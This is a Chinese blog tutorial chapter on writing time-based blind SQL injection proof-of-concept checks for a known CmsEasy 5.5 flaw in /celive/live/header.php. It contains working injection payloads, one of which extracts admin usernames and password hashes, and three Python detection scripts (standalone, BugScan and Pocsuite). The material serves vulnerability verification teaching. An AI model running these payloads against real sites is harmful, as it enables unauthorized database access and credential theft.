PoC 编写指南(第 2 章 SQL 注入类 PoC 编写 下篇)

《PoC 编写指南》现已经同步至 gitbook,博客和 gitbook 会同步更新,地址: http://poc.evalbug.com/

写在前面

《PoC 编写指南》有 3 个月没更了,基本上我写博文都是在半夜两三点的时候写的,最近几个月有些忙,睡的也比较早,就一直停更了。当然也有一些别的方面的原因,每次写篇博文都是尽可能的把涉及到的东西讲清楚,写详细,自己在这个上面花的时间特别多,结果有些网站一个爬虫就全带走了,多多少少还是有些不爽,毕竟还是希望读者看过之后能给出一些宝贵的意见。

再说积极的事,这个系列也帮助了一些人,其中有个兄弟写了一个 Python 的项目,里面就用到了我们 2.3 节中的 PoC:

one python app for zoomeye 项目地址

2.4 基于时间的盲注的 SQL 注入 PoC 编写

本节原本打算找一个 PHP 语言的 CMS 的漏洞,环境好搭,找了半天没找到比较新的漏洞,最后决定直接用之前的漏洞。这次我们选择的漏洞为:

CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞

这个漏洞是我们 2.2 节《基于报错的 SQL 注入 PoC 编写》中使用过的一个漏洞。

选这个洞的意义在于,让读者能体会到,一个漏洞的不同利用方式,没错,不只有一种利用方式。

基于时间的盲注一般是没办法通过回显来得到结果(包括 union 查询,报错回显),或者是没法通过有很明显的页面数据变化来确定 SQL 语句是否执行。这时候就可以通过页面的返回时间来确定是否成功执行了。

这么说有些拗口,直接上实例。

2.4.1 漏洞分析

具体分析可以直接看 2.2.1 小节,就不在这里浪费时间了。

我们先来回顾一下这个漏洞在 2.2 节 的 Payload:

1
2
3
4
5
6
7
请求的链接:

http://xxx.com/celive/live/header.php

POST 数据内容:

xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username,0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#

这是一个典型的 group by 的报错 Payload。那么,这节是基于时间的盲注,我们就假装我们不能通过报错来拿到结果。所以我们修改 Payload 为:

1
2
3
4
5
6
7
请求的链接:

http://xxx.com/celive/live/header.php

POST 数据内容:

xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT IF(1=1, sleep(5), '1')),'','','','1','127.0.0.1','2')#

核心的 SQL 语句是这样的, SELECT IF(1=1,sleep(5), '1') 熟悉 MySQL 语法的人应该知道这个意思,第一个参数是表达式,就是说如果表达式为真的话,就执行第二个参数位置的语名,在本例子中是 sleep 5秒,如果为假就执行第三个参数位置的语句,本例子中就是返回一个字符 1 。

2.4.2 漏洞复现

实验所需 CMS 下载地址:下载地址

我们打开 Firefox 浏览器,开启 hackbar, 再打开开发者工具,调到网络选项卡,然后填写 Payload :

1
2
3
4
5
6
7
请求的链接:

http://localhost/cmseasy/celive/live/header.php

POST 数据内容:

xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT IF(1=1, sleep(5), '1')),'','','','1','127.0.0.1','2')#

这个 Payload 会执行 sleep(5),其执行结果如图 2-8 所示:

图 2-8

注意右下方的返回包时长,5068 ms。

然后我们修改 IF 中的 1=1 为 1=2,此时肯定是不会执行 sleep(5) 的,然后我们观查一下返回时间:

图 2-9

注意右下方的返回时长,22 ms。

除了返回时间以外,再注意看一下 图2-8 和 图2-9 这两张图中网页内容,发现是内容是一模一样的,现在能体会到什么是基于时间的盲注了吧?无法通过内容变化来区别是否执行了 SQL 语句,只能过过注入延时函数来让返回包时间变长来判断。

这里有必要来讲一下什么会这样,其实在服务端执行的时候一般都是按顺序执行的,在请求数据库查询之后,是一直在等待数据库返回的,如果数据库一直不返回,就一直等着呗,直到超时。

2.4.3 无框架 PoC 编写

看完漏洞分析之后,聪明的朋友已经想到要怎么做了:

我知道,我知道,直接用有延时的 Payload 打上去,然后看返回的时间是不是大于 5s 就行了。这样只用请求一次目标,效率杠杠滴。

就你知道,就你聪明。一般情况下,我们访问一个网页,响应时长确实是少于 5s 的,但是呢,来吧,我们先来看一张图:

图2-10

看出什么了吗?看不出来才怪,我都给你标记出来了。我们直接访问 github.com 响应的时长是大于 5s 的,没错,如果按照第上面的思路来的话,对于一些访问比较慢的网站来说,这妥妥的误报啊。总结一下,影响响应时长的大概有这么几种:

  1. 网络延迟 (比如你的目标是海外的什么什么站你懂得,或者是网络拥塞了啥的,堵车了嘛)
  2. 服务器处理速度(脚本执行的速度,服务器软件处理速度)

所以,我们要尽可能的排除这些客观的因素,做法就是访问目标两次,第一次是正常请求,记录下响应时间差 a,然后再带上 Payload 来请求一次,得到一个响应时间差 b,计算一下 b-a 的值是不是在 5s 左右。

这时值得注意的是,如果我们传入的 Payload 是 sleep(5),在判断的时候不一定是大于 5s 哟,基本上 b-a 的值大于 4s ~ 4.5s 就差不多了。请思考为什么要这么判断。

再说一下,那个正常的请求,可以是带着一定不执行 sleep 的 Payload ,也可以是一次正常的请求。

好了我们直接上代码吧,代码其实可以简洁一点。

代码 2_4_1.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# coding:utf-8
import urllib2
import urllib
import sys
import time


def verify(url):
target = "%s/celive/live/header.php" % url
# 要发送的数据
post_data1 = {
'xajax': 'LiveMessage',
'xajaxargs[0][name]': "1',(SELECT IF(1=2, sleep(5), '1')),"
"'','','','1','127.0.0.1','2') #"
}
# 有延时的 Payload
post_data2 = {
'xajax': 'LiveMessage',
'xajaxargs[0][name]': "1',(SELECT IF(1=1, sleep(5), '1')),"
"'','','','1','127.0.0.1','2') #"
}
try:
# 记录开始请求的时间
start_time = time.time()
# 发送 HTTP 请求
req = urllib2.Request(target, data=urllib.urlencode(post_data1))
urllib2.urlopen(req)
# 记录正常请求并收到响应的时间
end_time_1 = time.time()
req2 = urllib2.Request(target, data=urllib.urlencode(post_data2))
urllib2.urlopen(req2)
# 收到响应的时间
end_time_2 = time.time()
# 计算时间差
delta1 = end_time_1 - start_time
delta2 = end_time_2 - end_time_1
# print "delta1: %s, delta2: %s" % (str(delta1), str(delta2))
if (delta2 - delta1) > 4:
print "%s is vulnerable" % target
else:
print "%s is not vulnerable" % target
except Exception, e:
print "Something happend..."
print e


def main():
args = sys.argv
url = ""

if len(args) == 2:
url = args[1]
verify(url)
else:
print "Usage: python %s url" % (args[0])

if __name__ == '__main__':
main()

将上述代码保存为 2_4_1.py 然后执行 python 2_4_1.py http://localhost/cmseasy/ ,看一下执行效果图(为了方便我把 delta 的值打印了出来):

图 2-11

我们访问一个不存在该漏洞的站:

图 2-12

至此一个无框架的漏洞验证 PoC 就写完了。

2.4.4 基于 Bugscan 框架

2016/05 BugScan V2.0 发布,本例子中将使用新版本插件

代码 2_4_2.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python
# coding:utf-8
import urllib
import time


def assign(service, arg):
if service == fingerprint.cmseasy:
return True, arg

def audit(arg):
target = "%s/celive/live/header.php" % arg
# 要发送的数据
post_data1 = {
'xajax': 'LiveMessage',
'xajaxargs[0][name]': "1',(SELECT IF(1=2, sleep(5), '1')),"
"'','','','1','127.0.0.1','2') #"
}
# 有延时的 Payload
post_data2 = {
'xajax': 'LiveMessage',
'xajaxargs[0][name]': "1',(SELECT IF(1=1, sleep(5), '1')),"
"'','','','1','127.0.0.1','2') #"
}
try:
# 记录开始请求的时间
start_time = time.time()
# 发送 HTTP 请求
# 这里需要注意的是 hackhttp 返回的第 4 个和第 5 个参数
code1, head1, html1, redirect1, log1 = hackhttp.http(
target, post=urllib.urlencode(post_data1))
# 记录正常请求并收到响应的时间
end_time_1 = time.time()
code2, head2, html2, redirect2, log2 = hackhttp.http(
target, post=urllib.urlencode(post_data2))
# 收到响应的时间
end_time_2 = time.time()
# 计算时间差
delta1 = end_time_1 - start_time
delta2 = end_time_2 - end_time_1
if (delta2 - delta1) > 4:
# 注意:warning 和 hole 级别必须传递 log
security_hole("%s" % (target), log=log1)
except:
pass

if __name__ == '__main__':
from dummy import *
audit(assign(fingerprint.cmseasy, 'http://127.0.0.1/cmseasy/')[1])

将上面代码保存成 2_4_2.py 然后执行:

1
2
3
4
5
6
7
8
➜  2-4 python 2_4_2.py
[LOG] <hole> http://127.0.0.1/cmseasy//celive/live/header.php (uuid=None)
HTTP/1.1 200 OK
Date: Tue, 24 May 2016 18:52:49 GMT
Server: Apache
X-Powered-By: PHP/5.4.42
P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA"
Set-Cookie: PHPSESSID=7013aae6eb8cae9adc865509f

可以看到新版本中调试信息里面还多了 HTTP 调试信息在里面。

至于新版本与旧版本的不同,可以去参考 BugScan 的官方说明,如果读者有需要我说明的话,可以在下面留言,看情况决定要不要写一篇 BugScan 1.x 与 2.x 变化。

2.4.5 基于 Pocsuite 框架

感谢 @熊巍迤 同学贡献 代码 2_4_3.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
# -*- coding: utf-8 -*-
from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
import time

class CmsEasyPoC(POCBase):
vulID = '88979'
version = '1'
author = ['熊巍迤']
vulDate = '2014-10-22'
createDate = '2015-12-28'
updateDate = '2015-12-28'
references = ['http://wooyun.org/bugs/wooyun-2010-070827']
name = 'CMSEasy 5.5 /celive/live/header.php SQL注入漏洞 POC'
appPowerLink = 'http://www.cmseasy.cn/'
appName = 'CMSEasy'
appVersion = '5.5'
vulType = 'SQL Injection'
desc = '''
开发人员在修补漏洞的时候只修复了少数的变量而遗漏了其他变量,使其他变量直接
带入了SQL语句中,可以通过\字符来转义掉一个单引号,逃逸单引号,产生SQL注入。
此注入为报错注入,可以通过UpdateXML函数进行注入。
'''
samples = ['']

def _verify(self):
result = {}
target = "%s/celive/live/header.php" % self.url
post_data1 = {
'xajax': 'LiveMessage',
'xajaxargs[0][name]': "1',(SELECT IF(35443=24234, sleep(5), '1')),'','','','1','127.0.0.1','2') #"
}

post_data2 = {
'xajax': 'LiveMessage',
'xajaxargs[0][name]': "1',(SELECT IF(3=3, sleep(5), '1')),'','','','1','127.0.0.1','2') #"
}

try:
start_time = time.time()
resp1 = req.post(target, data=post_data1)
time1 = time.time() - start_time

start_time = time.time()
resp2 = req.post(target, data=post_data2)
time2 = time.time() - start_time

if (time2 - time1) > 4:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = target
except:
pass

return self.parse_result(result)

def _attack(self):
return self._verify()

def parse_result(self, result):
output = Output(self)

if result:
output.success(result)
else:
output.fail('Inernet Noting returned')

return output


register(CmsEasyPoC)

总结

总结一下这节暂时学到的东西:

  1. 基于时间的 SQL 盲注,一般通过比较响应时间差来判断是否执行延时 SQL 语句
  2. 尽可能的排除一些外界因素的影响。
  3. 基于时间的盲注误差是客观存在的。

2016/04/18
基于 Bugscan 框架应该很简单,这里我先不写, 读者可以自己来实现一下。
至于 Pocsuite 框架,读者可以先行实现一下 verify 部分。
热心的读者可以自己写完后直接邮件发我。下周我再来更新。

2016/05/20
感谢 @熊巍迤 同学贡献 代码 2_4_3。
520 最好的支持〜